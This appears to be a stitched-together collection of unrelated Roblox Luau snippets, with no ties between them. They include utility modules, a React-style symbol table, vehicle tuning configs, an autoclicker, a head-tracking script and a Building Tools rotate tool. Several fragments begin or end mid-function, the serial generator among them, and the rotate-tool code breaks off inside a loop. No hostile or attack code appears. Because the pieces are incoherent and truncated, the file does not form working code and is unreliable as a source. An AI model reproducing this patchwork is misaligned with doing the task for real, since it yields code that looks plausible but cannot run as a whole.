local Utils = {} local function errorOnIndex(_, index) error(("Bad index %q"):format(tostring(index)), 2) end local READ_ONLY_METATABLE = { __index = errorOnIndex; __newindex = errorOnIndex; } function Utils.readonly(_table) return setmetatable(_table, READ_ONLY_METATABLE) end function Utils.count(_table) local count = 0 for _, _ in pairs(_table) do count = count + 1 end return count end function Utils.getOrCreateValue(parent, instanceType, name, defaultValue) assert(typeof(parent) == "Instance", "Bad argument 'parent'") assert(type(instanceType) == "string", "Bad argument 'instanceType'") assert(type(name) == "string", "Bad argument 'name'") local foundChild = parent:FindFirstChild(name) if foundChild then if not foundChild:IsA(instanceType) then warn(("[Utils.getOrCreateValue] - Value of type %q of name %q is of type %q in %s instead") :format(instanceType, name, foundChild.ClassName, foundChild:GetFullName())) end return foundChild else local newChild = Instance.new(instanceType) newChild.Name = name newChild.Value = defaultValue newChild.Parent = parent return newChild end end function Utils.getValue(parent, instanceType, name, default) assert(typeof(parent) == "Instance", "Bad argument 'parent'") assert(type(instanceType) == "string", "Bad argument 'instanceType'") assert(type(name) == "string", "Bad argument 'name'") local foundChild = parent:FindFirstChild(name) if foundChild then if foundChild:IsA(instanceType) then return foundChild.Value else warn(("[Utils.getValue] - Value of type %q of name %q is of type %q in %s instead") :format(instanceType, name, foundChild.ClassName, foundChild:GetFullName())) return nil end else return default end end function Utils.setValue(parent, instanceType, name, value) assert(typeof(parent) == "Instance", "Bad argument 'parent'") assert(type(instanceType) == "string", "Bad argument 'instanceType'") assert(type(name) == "string", "Bad argument 'name'") local foundChild = parent:FindFirstChild(name) if foundChild then if not foundChild:IsA(instanceType) then warn(("[Utils.setValue] - Value of type %q of name %q is of type %q in %s instead") :format(instanceType, name, foundChild.ClassName, foundChild:GetFullName())) end foundChild.Value = value else local newChild = Instance.new(instanceType) newChild.Name = name newChild.Value = value newChild.Parent = parent end end function Utils.getOrCreateFolder(parent, folderName) local found = parent:FindFirstChild(folderName) if found then return found else local folder = Instance.new("Folder") folder.Name = folderName folder.Parent = parent return folder end end return Utils
-- The Symbol used to tag the ReactElement-like types. If there is no native Symbol -- nor polyfill, then a plain number is used for performance.
exports.REACT_ELEMENT_TYPE = 0xeac7 exports.REACT_PORTAL_TYPE = 0xeaca exports.REACT_FRAGMENT_TYPE = 0xeacb exports.REACT_STRICT_MODE_TYPE = 0xeacc exports.REACT_PROFILER_TYPE = 0xead2 exports.REACT_PROVIDER_TYPE = 0xeacd exports.REACT_CONTEXT_TYPE = 0xeace exports.REACT_FORWARD_REF_TYPE = 0xead0 exports.REACT_SUSPENSE_TYPE = 0xead1 exports.REACT_SUSPENSE_LIST_TYPE = 0xead8 exports.REACT_MEMO_TYPE = 0xead3 exports.REACT_LAZY_TYPE = 0xead4 exports.REACT_BLOCK_TYPE = 0xead9 exports.REACT_SERVER_BLOCK_TYPE = 0xeada exports.REACT_FUNDAMENTAL_TYPE = 0xead5 exports.REACT_SCOPE_TYPE = 0xead7 exports.REACT_OPAQUE_ID_TYPE = 0xeae0 exports.REACT_DEBUG_TRACING_MODE_TYPE = 0xeae1 exports.REACT_OFFSCREEN_TYPE = 0xeae2 exports.REACT_LEGACY_HIDDEN_TYPE = 0xeae3 exports.REACT_BINDING_TYPE = 0xeae4
--equip tools
if pickUpTools then for _,v in pairs(GetSpecificInstances(AI,"Part")) do v.Touched:connect(function(part) if part.Name=="Handle" and part.Parent:IsA("Tool") then if (#GetSpecificInstances(part.Parent.Parent,"Humanoid")==0 or part.Parent.Parent==workspace) and #GetSpecificInstances(AI,"Tool")==0 then part.Parent.Parent=AI; end end end ); end end
--[=[ @within TableUtil @function Map @param tbl table @param predicate (value: any, key: any, tbl: table) -> newValue: any @return table Performs a map operation against the given table, which can be used to map new values based on the old values at given keys/indices. For example: ```lua local t = {A = 10, B = 20, C = 30} local t2 = TableUtil.Map(t, function(value) return value * 2 end) print(t2) --> {A = 20, B = 40, C = 60} ``` ]=]
local function Map<T, M>(t: { T }, f: (T, number, { T }) -> M): { M } assert(type(t) == "table", "First argument must be a table") assert(type(f) == "function", "Second argument must be a function") local newT = table.create(#t) for k, v in t do newT[k] = f(v, k, t) end return newT end
-- LIGHT SETTINGS --[[ LIGHT TYPES: - Halogen - LED ]]
-- local Low_Beam_Brightness = 1.25 local High_Beam_Brightness = 1.15 local Fog_Light_Brightness = 0.7 local Rear_Light_Brightness = 1.5 local Brake_Light_Brightness = 1.5 local Reverse_Light_Brightness = 1 local Headlight_Type = "Halogen" local Indicator_Type = "Halogen" local Fog_Light_Type = "Halogen" local Plate_Light_Type = "Halogen" local Rear_Light_Type = "Halogen" local Reverse_Light_Type = "Halogen" local Running_Light_Location = "Custom DRL" -- Where your running lights will luminate. ("Low Beam / Indicators" and "Low Beam". LED DRLS or any DRL in a differnet position go in the Running model, change the string to "Custom DRL") local CustomDRL_Type = "LED" local Fade_Time = 0.35 -- How long it takes for the light to fully turn on. (works only with Halogen, default is 0.35 seconds) local Indicator_Flash_Rate = 0.3 -- Rate of change between each indicator state. (in seconds) local Popup_Hinge_Angle = -0.75 -- Changes the angle of your popup headlights. (only use if your car has popups)
--[[ WeaponEquipping Description: This script allows for the management of the players inventory such as swaping weapon or switching to the grenade. ]]
--[[Steering]]
Tune.SteerInner = 70 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 70 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .5 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .5 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree
-- Remove this after you've become acquainted with EventSequencer
if RunService:IsStudio() then -- Best practice is to configure this ahead of time and don't use this -- This is for demo purposes so that it works out of the box Players.PlayerAdded:Connect(function(player) table.insert(playerIDs, player.UserId) EventSequencer.setSeekingPermissions({ -- Replace this with non-production PlaceIds placeIDs = {game.PlaceId}, groups = { -- Replace this if you want certain groups allowed -- The following is an example of one group permissions {GroupID = 7384468, MinimumRankID = 5} }, -- Replace this with known player IDs in a table playerIDs = playerIDs }) end) local playersService = game:GetService("Players") local playerAdded = function(player) if not table.find(playerIDs, player.UserId) then table.insert(playerIDs, player.UserId) end end playersService.PlayerAdded:connect(playerAdded) for _, player in ipairs(playersService:GetPlayers()) do playerAdded(player) end EventSequencer.setSeekingPermissions({ -- Replace this with non production PlaceIds placeIDs = {game.PlaceId}, groups = { -- Replace this if you want certain groups allowed -- The following is an example of one group permission {GroupID = 7384468, MinimumRankID = 5} }, -- Replace this with known player IDs in a table playerIDs = playerIDs }) end
-- Implements Javascript's `Array.prototype.filter` as defined below -- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter
return function<T, U>(t: Array<T>, callback: callbackFn<T> | callbackFnWithThisArg<T, U>, thisArg: U?): Array<T> if _G.__DEV__ then if typeof(t) ~= "table" then error(string.format("Array.filter called on %s", typeof(t))) end if typeof(callback) ~= "function" then error("callback is not a function") end end local len = #t local res = {} local index = 1 if thisArg == nil then for i = 1, len do local kValue = t[i] if kValue ~= nil then if (callback :: callbackFn<T>)(kValue, i, t) then res[index] = kValue index += 1 end end end else for i = 1, len do local kValue = t[i] if kValue ~= nil then if (callback :: callbackFnWithThisArg<T, U>)(thisArg, kValue, i, t) then res[index] = kValue index += 1 end end end end return res end
-- KEY IS UP -- --UIS.InputEnded:Connect(function(Input, isTyping) -- if isTyping then return end
--game:GetService("UserInputService").InputBegan:Connect(function(input) -- local c = 0 -- if input.KeyCode == Enum.KeyCode.One then -- c = Start(1) -- elseif input.KeyCode == Enum.KeyCode.Two then -- c = Start(2) -- elseif input.KeyCode == Enum.KeyCode.Three then -- c = Start(3) -- elseif input.KeyCode == Enum.KeyCode.Four then -- c = Start(4) -- elseif input.KeyCode == Enum.KeyCode.Five then -- c = Start(5) -- elseif input.KeyCode == Enum.KeyCode.Six then -- c = Start(6) -- elseif input.KeyCode == Enum.KeyCode.Seven then -- c = Start(7) -- elseif input.KeyCode == Enum.KeyCode.Eight then -- c = Start(8) -- elseif input.KeyCode == Enum.KeyCode.Nine then -- c = Start(9) -- elseif input.KeyCode == Enum.KeyCode.Zero then -- c = Start(0) -- end --end)
while wait(.01) do local b = 360/#nodes c = script.Parent.HumanoidRootPart.Position a=a+3 for i,n in pairs(nodes) do local b = a + i*(360/#nodes) x = math.cos(math.rad(b)+math.rad(a)) z = math.sin(math.rad(b)+math.rad(a)) n.BodyPosition.Position = (c+Vector3.new(x,0,z)*dist)+Vector3.new(0,math.sin(b*.05)*height,0) n.CFrame = CFrame.new(n.Position,c) end end
--Funcion Del AutoClick
local plr = script.Parent.Parent.Parent local lea = plr:WaitForChild("leaderstats")-- Nombre De La Carpeta De Su Sistema De Dinero local gold = lea:WaitForChild("TimesClicked")-- Nombre De Su Sistema De Dinero local coin = lea:WaitForChild("Coins")-- Nombre De Su Sistema De Dinero local boost = plr:WaitForChild("CoinBoost")-- Nombre De Su Sistema De Dinero local world = plr:WaitForChild("WorldBoost")-- Nombre De Su Sistema De Dinero local autoclick = false local autoclickDD = false function GetAuto() gold.Value = gold.Value +1 --Cambiar Por Cuanto Dinero Quieres Que Obtenga coin.Value = coin.Value + 1 + 1*boost.Value*world.Value end script.Parent.AutoClick.MouseButton1Click:Connect(function() if autoclick == false then autoclick = true script.Parent.AutoClick.Text = "ON" else autoclick = false script.Parent.AutoClick.Text = "OFF" end end) while wait()do if autoclick == true then if autoclickDD == false then autoclickDD = true GetAuto(1)-- Cambia El Tiempo De Espera Al Recargar wait(.1)-- Tambien Cambia Para El Tiempo De Espera Al Recargar autoclickDD = false end end end
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 100 -- Spring Dampening Tune.FSusStiffness = 9000 -- Spring Force Tune.FSusLength = 8 -- Suspension length (in studs) Tune.FSusMaxExt = .4 -- Max Extension Travel (in studs) Tune.FSusMaxComp = .4 -- Max Compression Travel (in studs) Tune.FSusAngle = 50 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 100 -- Spring Dampening Tune.RSusStiffness = 9000 -- Spring Force Tune.RSusLength = 8 -- Suspension length (in studs) Tune.RSusMaxExt = .4 -- Max Extension Travel (in studs) Tune.RSusMaxComp = .4 -- Max Compression Travel (in studs) Tune.RSusAngle = 50 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = true -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .5 -- Suspension Coil Thickness Tune.SusColor = "Really black" -- Suspension Color [BrickColor] Tune.SusCoilCount = 8 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .5 -- Wishbone Rod Thickness
--[[Transmission]]
Tune.TransModes = {"Auto"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 3.31 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.04 , --[[ 3 ]] 1.38 , --[[ 4 ]] 1.03 , --[[ 5 ]] 0.81 , --[[ 6 ]] 0.64 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- Variables
local headHorFactor = 1 local headVerFactor = .6 local bodyHorFactor = .5 local bodyVerFactor = .4 local updateSpeed = .5 / 2 local plr = playerService.LocalPlayer local cam = workspace.CurrentCamera local mouse = plr:GetMouse() local char = plr.Character or plr.CharacterAdded:wait() local hum = char:WaitForChild("Humanoid") local isR6 = hum.RigType == Enum.HumanoidRigType.R6 local head = char.Head local root = char.HumanoidRootPart local torso = isR6 and char.Torso or char.UpperTorso local neck = isR6 and torso.Neck or head.Neck local waist = not isR6 and torso.Waist local neckC0 = neck.C0 local waistC0 = not isR6 and waist.C0 neck.MaxVelocity = 1/3 runService.RenderStepped:ConnectParallel(function() -- Check if every required body part exists and whether the CurrentCamera's CameraSubject is the Humanoid if torso and head and ((isR6 and neck) or (neck and waist)) and cam.CameraSubject == hum then task.desynchronize() local camCF = cam.CFrame local headCF = head.CFrame local torsoLV = torso.CFrame.lookVector local dist = (headCF.p - camCF.p).magnitude local diff = headCF.Y - camCF.Y local asinDiffDist = math.asin(diff / dist) task.synchronize() local whateverThisDoes = ((headCF.p - camCF.p).Unit:Cross(torsoLV)).Y if isR6 then neck.C0 = neck.C0:lerp(neckC0 * CFrame.Angles(-1 * asinDiffDist * headVerFactor, 0, -1 * whateverThisDoes * headHorFactor), updateSpeed) else neck.C0 = neck.C0:lerp(neckC0 * CFrame.Angles(asinDiffDist * headVerFactor, -1 * whateverThisDoes * headHorFactor, 0), updateSpeed) waist.C0 = waist.C0:lerp(waistC0 * CFrame.Angles(asinDiffDist * bodyVerFactor, -1 * whateverThisDoes * bodyHorFactor, 0), updateSpeed) end end end)
-- Roact
local new = Roact.createElement local ScopeHierarchyItemButton = require(script:WaitForChild 'ScopeHierarchyItemButton') local HotkeyTooltip = require(script:WaitForChild 'HotkeyTooltip') local ModeToggle = require(script:WaitForChild 'ModeToggle')
--7 print(length)
for i = 1,length do local char = getChar(tonumber(string.sub(ns, i, i))) serial = serial .. char end serial = serial .. getChar(serial_offset) serial_offset += 1 return serial end function module:SetWait(t) local start = os.clock() repeat RunService.Heartbeat:Wait() until (os.clock() - start) > t end return module
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName) while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end return parent[childName] end local Tool = script.Parent local kn = WaitForChild(Tool, 'kn') local Debounce = false local TouchConnection function OnTouched(hit) local humanoid = hit.Parent:findFirstChild('Humanoid') if Debounce == false then Debounce = true if humanoid then kn.Splat:Play() else kn.Ting:Play() end end wait(0.5) Debounce = false end Tool.Equipped:connect(function() TouchConnection = kn.Touched:connect(OnTouched) end) Tool.Unequipped:connect(function() if TouchConnection then TouchConnection:disconnect() TouchConnection = nil end end)
-- Container for temporary connections (disconnected automatically)
local Connections = {}; function RotateTool.Equip() -- Enables the tool's equipped functionality -- Set our current pivot mode SetPivot(RotateTool.Pivot); -- Start up our interface ShowUI(); BindShortcutKeys(); end; function RotateTool.Unequip() -- Disables the tool's equipped functionality -- Clear unnecessary resources HideUI(); HideHandles(); ClearConnections(); BoundingBox.ClearBoundingBox(); SnapTracking.StopTracking(); end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:Disconnect(); Connections[ConnectionKey] = nil; end; end; function ClearConnection(ConnectionKey) -- Clears the given specific connection local Connection = Connections[ConnectionKey]; -- Disconnect the connection if it exists if Connections[ConnectionKey] then Connection:Disconnect(); Connections[ConnectionKey] = nil; end; end; function ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if RotateTool.UI then -- Reveal the UI RotateTool.UI.Visible = true; -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); -- Skip UI creation return; end; -- Create the UI RotateTool.UI = Core.Tool.Interfaces.BTRotateToolGUI:Clone(); RotateTool.UI.Parent = Core.UI; RotateTool.UI.Visible = true; -- Add functionality to the pivot option switch local PivotSwitch = RotateTool.UI.PivotOption; PivotSwitch.Center.Button.MouseButton1Down:Connect(function () SetPivot('Center'); end); PivotSwitch.Local.Button.MouseButton1Down:Connect(function () SetPivot('Local'); end); PivotSwitch.Last.Button.MouseButton1Down:Connect(function () SetPivot('Last'); end); -- Add functionality to the increment input local IncrementInput = RotateTool.UI.IncrementOption.Increment.TextBox; IncrementInput.FocusLost:Connect(function (EnterPressed) RotateTool.Increment = tonumber(IncrementInput.Text) or RotateTool.Increment; IncrementInput.Text = Support.Round(RotateTool.Increment, 4); end); -- Add functionality to the rotation inputs local XInput = RotateTool.UI.Info.RotationInfo.X.TextBox; local YInput = RotateTool.UI.Info.RotationInfo.Y.TextBox; local ZInput = RotateTool.UI.Info.RotationInfo.Z.TextBox; XInput.FocusLost:Connect(function (EnterPressed) local NewAngle = tonumber(XInput.Text); if NewAngle then SetAxisAngle('X', NewAngle); end; end); YInput.FocusLost:Connect(function (EnterPressed) local NewAngle = tonumber(YInput.Text); if NewAngle then SetAxisAngle('Y', NewAngle); end; end); ZInput.FocusLost:Connect(function (EnterPressed) local NewAngle = tonumber(ZInput.Text); if NewAngle then SetAxisAngle('Z', NewAngle); end; end); -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); end; function HideUI() -- Hides the tool UI -- Make sure there's a UI if not RotateTool.UI then return; end; -- Hide the UI RotateTool.UI.Visible = false; -- Stop updating the UI UIUpdater:Stop(); end; function UpdateUI() -- Updates information on the UI -- Make sure the UI's on if not RotateTool.UI then return; end; -- Only show and calculate selection info if it's not empty if #Selection.Parts == 0 then RotateTool.UI.Info.Visible = false; RotateTool.UI.Size = UDim2.new(0, 245, 0, 90); return; else RotateTool.UI.Info.Visible = true; RotateTool.UI.Size = UDim2.new(0, 245, 0, 150); end; ----------------------------------------- -- Update the size information indicators ----------------------------------------- -- Identify common angles across axes local XVariations, YVariations, ZVariations = {}, {}, {}; for _, Part in pairs(Selection.Parts) do table.insert(XVariations, Support.Round(Part.Orientation.X, 3)); table.insert(YVariations, Support.Round(Part.Orientation.Y, 3)); table.insert(ZVariations, Support.Round(Part.Orientation.Z, 3)); end; local CommonX = Support.IdentifyCommonItem(XVariations); local CommonY = Support.IdentifyCommonItem(YVariations); local CommonZ = Support.IdentifyCommonItem(ZVariations); -- Shortcuts to indicators local XIndicator = RotateTool.UI.Info.RotationInfo.X.TextBox; local YIndicator = RotateTool.UI.Info.RotationInfo.Y.TextBox; local ZIndicator = RotateTool.UI.Info.RotationInfo.Z.TextBox; -- Update each indicator if it's not currently being edited if not XIndicator:IsFocused() then XIndicator.Text = CommonX or '*'; end; if not YIndicator:IsFocused() then YIndicator.Text = CommonY or '*'; end; if not ZIndicator:IsFocused() then ZIndicator.Text = CommonZ or '*'; end; end; function SetPivot(PivotMode) -- Sets the given rotation pivot mode -- Update setting RotateTool.Pivot = PivotMode; -- Update the UI switch if RotateTool.UI then Core.ToggleSwitch(PivotMode, RotateTool.UI.PivotOption); end; -- Disable any unnecessary bounding boxes BoundingBox.ClearBoundingBox(); -- For center mode, use bounding box handles if PivotMode == 'Center' then BoundingBox.StartBoundingBox(AttachHandles); -- For local mode, use focused part handles elseif PivotMode == 'Local' then AttachHandles(Selection.Focus, true); -- For last mode, use focused part handles elseif PivotMode == 'Last' then AttachHandles(CustomPivotPoint and (RotateTool.Handles and RotateTool.Handles.Adornee) or Selection.Focus, true); end; end; function AttachHandles(Part, Autofocus) -- Creates and attaches handles to `Part`, and optionally automatically attaches to the focused part -- Enable autofocus if requested and not already on if Autofocus and not Connections.AutofocusHandle then Connections.AutofocusHandle = Selection.FocusChanged:Connect(function () AttachHandles(Selection.Focus, true); end); -- Disable autofocus if not requested and on elseif not Autofocus and Connections.AutofocusHandle then ClearConnection 'AutofocusHandle'; end; -- Clear previous pivot point CustomPivotPoint = nil -- Just attach and show the handles if they already exist if RotateTool.Handles then RotateTool.Handles:BlacklistObstacle(BoundingBox.GetBoundingBox()) RotateTool.Handles:SetAdornee(Part) return end local AreaPermissions local function OnHandleDragStart() -- Prepare for rotating parts when the handle is clicked -- Prevent selection Core.Targeting.CancelSelecting(); -- Indicate rotating via handle HandleRotating = true; -- Freeze bounding box extents while rotating if BoundingBox.GetBoundingBox() then InitialExtentsSize, InitialExtentsCFrame = BoundingBox.CalculateExtents(Selection.Parts, BoundingBox.StaticExtents) BoundingBox.PauseMonitoring(); end; -- Stop parts from moving, and capture the initial state of the parts InitialState = PreparePartsForRotating(); -- Track the change TrackChange(); -- Cache area permissions information if Core.Mode == 'Tool' then AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player); end; -- Set the pivot point to the center of the selection if in Center mode if RotateTool.Pivot == 'Center' then PivotPoint = BoundingBox.GetBoundingBox().CFrame; -- Set the pivot point to the center of the focused part if in Last mode elseif RotateTool.Pivot == 'Last' and not CustomPivotPoint then if Selection.Focus:IsA 'BasePart' then PivotPoint = Selection.Focus.CFrame elseif Selection.Focus:IsA 'Model' then PivotPoint = Selection.Focus:GetModelCFrame() end end; end local function OnHandleDrag(Axis, Rotation) -- Update parts when the handles are moved -- Only rotate if handle is enabled if not HandleRotating then return; end; -- Turn the rotation amount into degrees Rotation = math.deg(Rotation); -- Calculate the increment-aligned rotation amount Rotation = GetIncrementMultiple(Rotation, RotateTool.Increment) % 360; -- Get displayable rotation delta local DisplayedRotation = GetHandleDisplayDelta(Rotation); -- Perform the rotation RotatePartsAroundPivot(RotateTool.Pivot, PivotPoint, Axis, Rotation, InitialState); -- Make sure we're not entering any unauthorized private areas if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then for Part, State in pairs(InitialState) do Part.CFrame = State.CFrame; end; -- Reset displayed rotation delta DisplayedRotation = 0; end; -- Update the "degrees rotated" indicator if RotateTool.UI then RotateTool.UI.Changes.Text.Text = 'rotated ' .. DisplayedRotation .. ' degrees'; end; end local function OnHandleDragEnd() if not HandleRotating then return end -- Prevent selection Core.Targeting.CancelSelecting(); -- Disable rotating HandleRotating = false; -- Clear this connection to prevent it from firing again ClearConnection 'HandleRelease'; -- Clear change indicator states HandleDirection = nil; HandleFirstAngle = nil; LastDisplayedRotation = nil; -- Make joints, restore original anchor and collision states for Part, State in pairs(InitialState) do Part:MakeJoints(); Core.RestoreJoints(State.Joints); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; -- Register the change RegisterChange(); -- Resume normal bounding box updating BoundingBox.RecalculateStaticExtents(); BoundingBox.ResumeMonitoring(); end -- Create the handles local ArcHandles = require(Libraries:WaitForChild 'ArcHandles') RotateTool.Handles = ArcHandles.new({ Color = RotateTool.Color.Color, Parent = Core.UIContainer, Adornee = Part, ObstacleBlacklist = { BoundingBox.GetBoundingBox() }, OnDragStart = OnHandleDragStart, OnDrag = OnHandleDrag, OnDragEnd = OnHandleDragEnd }) end function HideHandles() -- Hides the resizing handles -- Make sure handles exist and are visible if not RotateTool.Handles then return; end; -- Hide the handles RotateTool.Handles = RotateTool.Handles:Destroy() -- Disable handle autofocus if enabled ClearConnection 'AutofocusHandle'; end; function RotatePartsAroundPivot(PivotMode, PivotPoint, Axis, Rotation, InitialStates) -- Rotates the given parts in `InitialStates` around `PivotMode` (using `PivotPoint` if applicable)'s `Axis` by `Rotation` -- Create a CFrame that increments rotation by `Rotation` around `Axis` local RotationCFrame = CFrame.fromAxisAngle(Vector3.FromAxis(Axis), math.rad(Rotation)); -- Rotate each part for Part, InitialState in pairs(InitialStates) do -- Rotate around the selection's center, or the currently focused part if PivotMode == 'Center' or PivotMode == 'Last' then -- Calculate the focused part's rotation local RelativeTo = PivotPoint * RotationCFrame; -- Calculate this part's offset from the focused part's rotation local Offset = PivotPoint:toObjectSpace(InitialState.CFrame); -- Rotate relative to the focused part by this part's offset from it Part.CFrame = RelativeTo * Offset; -- Rotate around the part's center elseif RotateTool.Pivot == 'Local' then Part.CFrame = InitialState.CFrame * RotationCFrame; end; end; end; function GetHandleDisplayDelta(HandleRotation) -- Returns a human-friendly version of the handle's rotation delta -- Prepare to capture first angle if HandleFirstAngle == nil then HandleFirstAngle = true; HandleDirection = true; -- Capture first angle elseif HandleFirstAngle == true then -- Determine direction based on first angle if math.abs(HandleRotation) > 180 then HandleDirection = false; else HandleDirection = true; end; -- Disable first angle capturing HandleFirstAngle = false; end; -- Determine the rotation delta to display local DisplayedRotation; if HandleDirection == true then DisplayedRotation = (360 - HandleRotation) % 360; else DisplayedRotation = HandleRotation % 360; end; -- Switch delta calculation direction if crossing directions if LastDisplayedRotation and ( (LastDisplayedRotation <= 120 and DisplayedRotation >= 240) or (LastDisplayedRotation >= 240 and DisplayedRotation <= 120)) then HandleDirection = not HandleDirection; end; -- Update displayed rotation after direction correction if HandleDirection == true then DisplayedRotation = (360 - HandleRotation) % 360; else DisplayedRotation = HandleRotation % 360; end; -- Store this last display rotation LastDisplayedRotation = DisplayedRotation; -- Return updated display delta return DisplayedRotation; end; function BindShortcutKeys() -- Enables useful shortcut keys for this tool -- Track user input while this tool is equipped table.insert(Connections, UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent) -- Make sure this is an intentional event if GameProcessedEvent then return; end; -- Make sure this input is a key press if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then return; end; -- Make sure it wasn't pressed while typing if UserInputService:GetFocusedTextBox() then return; end; -- Check if the enter key was pressed if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then -- Toggle the current axis mode if RotateTool.Pivot == 'Center' then SetPivot('Local'); elseif RotateTool.Pivot == 'Local' then SetPivot('Last'); elseif RotateTool.Pivot == 'Last' then SetPivot('Center'); end; -- Check if the - key was pressed elseif InputInfo.KeyCode == Enum.KeyCode.Minus or InputInfo.KeyCode == Enum.KeyCode.KeypadMinus then -- Focus on the increment input if RotateTool.UI then RotateTool.UI.IncrementOption.Increment.TextBox:CaptureFocus(); end; -- Nudge around X axis if the 8 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadEight then NudgeSelectionByAxis(Enum.Axis.X, 1); -- Nudge around X axis if the 2 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadTwo then NudgeSelectionByAxis(Enum.Axis.X, -1); -- Nudge around Z axis if the 9 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadNine then NudgeSelectionByAxis(Enum.Axis.Z, 1); -- Nudge around Z axis if the 1 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadOne then NudgeSelectionByAxis(Enum.Axis.Z, -1); -- Nudge around Y axis if the 4 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadFour then NudgeSelectionByAxis(Enum.Axis.Y, -1); -- Nudge around Y axis if the 6 button on the keypad is pressed elseif InputInfo.KeyCode == Enum.KeyCode.KeypadSix then NudgeSelectionByAxis(Enum.Axis.Y, 1); -- Start snapping when the R key is pressed down, and it's not the selection clearing hotkey elseif (InputInfo.KeyCode == Enum.KeyCode.R) and not Selection.Multiselecting then StartSnapping(); -- Start snapping when T key is pressed down (alias) elseif (InputInfo.KeyCode == Enum.KeyCode.T) and (not Selection.Multiselecting) then StartSnapping(); end; end)); end; function StartSnapping() -- Make sure snapping isn't already enabled if SnapTracking.Enabled then return; end; -- Listen for snapped points SnapTracking.StartTracking(function (NewPoint) SnappedPoint = NewPoint; end); -- Select the snapped pivot point upon clicking Connections.SelectSnappedPivot = Core.Mouse.Button1Down:Connect(function () -- Disable unintentional selection Core.Targeting.CancelSelecting(); -- Ensure there is a snap point if not SnappedPoint then return; end; -- Disable snapping SnapTracking.StopTracking(); -- Attach the handles to a part at the snapped point local Part = Make 'Part' { CFrame = SnappedPoint, Size = Vector3.new(5, 1, 5) }; SetPivot 'Last'; AttachHandles(Part, true); -- Maintain the part in memory to prevent garbage collection GCBypass = { Part }; -- Set the pivot point PivotPoint = SnappedPoint; CustomPivotPoint = true; -- Disconnect snapped pivot point selection listener ClearConnection 'SelectSnappedPivot'; end); end; function SetAxisAngle(Axis, Angle) -- Sets the selection's angle on axis `Axis` to `Angle` -- Turn the given angle from degrees to radians local Angle = math.rad(Angle); -- Track this change TrackChange(); -- Prepare parts to be moved local InitialStates = PreparePartsForRotating(); -- Update each part for Part, State in pairs(InitialStates) do -- Set the part's new CFrame Part.CFrame = CFrame.new(Part.Position) * CFrame.fromOrientation( Axis == 'X' and Angle or math.rad(Part.Orientation.X), Axis == 'Y' and Angle or math.rad(Part.Orientation.Y), Axis == 'Z' and Angle or math.rad(Part.Orientation.Z) ); end; -- Cache up permissions for all private areas local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player); -- Revert changes if player is not authorized to move parts to target destination if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then for Part, State in pairs(InitialStates) do Part.CFrame = State.CFrame; end; end; -- Restore the parts' original states for Part, State in pairs(InitialStates) do 